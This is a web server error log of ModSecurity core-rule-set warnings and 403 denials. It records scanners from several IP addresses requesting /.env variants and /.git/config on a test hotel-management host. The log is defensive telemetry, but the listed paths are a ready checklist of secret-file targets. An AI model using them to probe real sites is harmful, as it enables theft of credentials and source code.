[Tue May 06 06:27:20.517753 2025] [:error] [pid 2955375] [client 45.148.10.172:58606] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aBmPqAbEQ7X-VfzoVezmagAAAAM&quot;]
[Tue May 06 09:55:23.882895 2025] [:error] [pid 2955450] [client 45.148.10.98:47370] [client 45.148.10.98] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBnAawkYV-vARAMMZzPBuAAAAAU&quot;]
[Tue May 06 09:55:23.883201 2025] [:error] [pid 2955450] [client 45.148.10.98:47370] [client 45.148.10.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBnAawkYV-vARAMMZzPBuAAAAAU&quot;]
[Tue May 06 09:55:23.883358 2025] [:error] [pid 2955450] [client 45.148.10.98:47370] [client 45.148.10.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBnAawkYV-vARAMMZzPBuAAAAAU&quot;]
[Tue May 06 09:56:43.068541 2025] [:error] [pid 2956770] [client 45.148.10.98:36076] [client 45.148.10.98] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBnAuwcy8aPU3YB-D8cX8gAAAAY&quot;]
[Tue May 06 09:56:43.068820 2025] [:error] [pid 2956770] [client 45.148.10.98:36076] [client 45.148.10.98] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBnAuwcy8aPU3YB-D8cX8gAAAAY&quot;]
[Tue May 06 09:56:43.068990 2025] [:error] [pid 2956770] [client 45.148.10.98:36076] [client 45.148.10.98] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBnAuwcy8aPU3YB-D8cX8gAAAAY&quot;]
[Tue May 06 12:11:32.128196 2025] [:error] [pid 2955373] [client 18.234.179.136:36742] [client 18.234.179.136] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBngVFKLJB2pE0YkgEeaDwAAAAE&quot;]
[Tue May 06 12:11:32.128478 2025] [:error] [pid 2955373] [client 18.234.179.136:36742] [client 18.234.179.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBngVFKLJB2pE0YkgEeaDwAAAAE&quot;]
[Tue May 06 12:11:32.128649 2025] [:error] [pid 2955373] [client 18.234.179.136:36742] [client 18.234.179.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBngVFKLJB2pE0YkgEeaDwAAAAE&quot;]
[Tue May 06 13:55:22.608466 2025] [:error] [pid 2955450] [client 45.139.104.181:54094] [client 45.139.104.181] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBn4qgkYV-vARAMMZzPBxQAAAAU&quot;]
[Tue May 06 13:55:22.608753 2025] [:error] [pid 2955450] [client 45.139.104.181:54094] [client 45.139.104.181] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBn4qgkYV-vARAMMZzPBxQAAAAU&quot;]
[Tue May 06 13:55:22.608950 2025] [:error] [pid 2955450] [client 45.139.104.181:54094] [client 45.139.104.181] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBn4qgkYV-vARAMMZzPBxQAAAAU&quot;]
[Tue May 06 17:55:09.826872 2025] [:error] [pid 2955373] [client 196.251.72.127:45118] [client 196.251.72.127] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBow3VKLJB2pE0YkgEeaIAAAAAE&quot;]
[Tue May 06 17:55:09.827172 2025] [:error] [pid 2955373] [client 196.251.72.127:45118] [client 196.251.72.127] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBow3VKLJB2pE0YkgEeaIAAAAAE&quot;]
[Tue May 06 17:55:09.827355 2025] [:error] [pid 2955373] [client 196.251.72.127:45118] [client 196.251.72.127] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aBow3VKLJB2pE0YkgEeaIAAAAAE&quot;]
[Wed May 07 20:52:33.206379 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczoAAAAA4&quot;]
[Wed May 07 20:52:33.207431 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczoAAAAA4&quot;]
[Wed May 07 20:52:33.207609 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczoAAAAA4&quot;]
[Wed May 07 20:52:33.229604 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczoQAAAA4&quot;]
[Wed May 07 20:52:33.229835 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczoQAAAA4&quot;]
[Wed May 07 20:52:33.230023 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczoQAAAA4&quot;]
[Wed May 07 20:52:33.251927 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczogAAAA4&quot;]
[Wed May 07 20:52:33.252156 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczogAAAA4&quot;]
[Wed May 07 20:52:33.252330 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczogAAAA4&quot;]
[Wed May 07 20:52:33.297123 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /wp-content/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczpAAAAA4&quot;]
[Wed May 07 20:52:33.297355 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczpAAAAA4&quot;]
[Wed May 07 20:52:33.297542 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczpAAAAA4&quot;]
[Wed May 07 20:52:33.319541 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczpQAAAA4&quot;]
[Wed May 07 20:52:33.319791 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczpQAAAA4&quot;]
[Wed May 07 20:52:33.319969 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczpQAAAA4&quot;]
[Wed May 07 20:52:33.341997 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczpgAAAA4&quot;]
[Wed May 07 20:52:33.342291 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczpgAAAA4&quot;]
[Wed May 07 20:52:33.342502 2025] [:error] [pid 3002293] [client 154.83.103.204:13822] [client 154.83.103.204] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/.env&quot;] [unique_id &quot;aBur8a4g94IEkoEbleczpgAAAA4&quot;]
